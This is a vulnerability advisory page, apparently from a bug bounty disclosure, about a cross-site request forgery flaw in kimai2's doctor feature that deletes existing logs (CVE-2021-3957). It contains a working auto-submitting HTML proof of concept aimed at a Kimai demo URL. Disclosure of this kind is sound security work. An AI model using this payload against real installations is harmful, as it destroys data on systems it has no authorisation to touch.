Lucene search
Asura-n5FA3098A-BA02-45E0-AF56-645E34DBC691HistoryNov 08, 2021 - 7:29 p.m.
Cross-Site Request Forgery (CSRF) in kevinpapst/kimai2
2021-11-0819:29:52
asura-n
www.huntr.dev
10
csrf
kevinpapst/kimai2
delete functionality
doctor feature
vulnerability
existing logs
bug bounty
EPSS
0.001
Percentile
31.1%
Description
cross site request forgery vulnerability is present in delete functionality of doctor feature.
Proof of Concept
<html>
<body>
<script>history.pushState(‘’, ‘’, ‘/’)</script>
<form action="https://demo-stable.kimai.org/de_CH/doctor/flush-log">
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Impact
This vulnerability is capable of delete the existing logs
References
Related
prion
prion
Cross site request forgery (csrf)
2021-11-19 12:15:00
osv
osv
CVE-2021-3957
2021-11-19 12:15:08
Cross-site Scripting in kimai2
2021-11-23 17:59:40
cve
cve
CVE-2021-3957
2021-11-19 12:15:08
veracode
veracode
Cross Site Request Forgery (CSRF)
2021-11-22 15:19:55
github
github
Cross-site Scripting in kimai2
2021-11-23 17:59:40
cvelist
cvelist
CVE-2021-3957 Cross-Site Request Forgery (CSRF) in kevinpapst/kimai2
2021-11-19 12:00:11
nvd
nvd
CVE-2021-3957
2021-11-19 12:15:08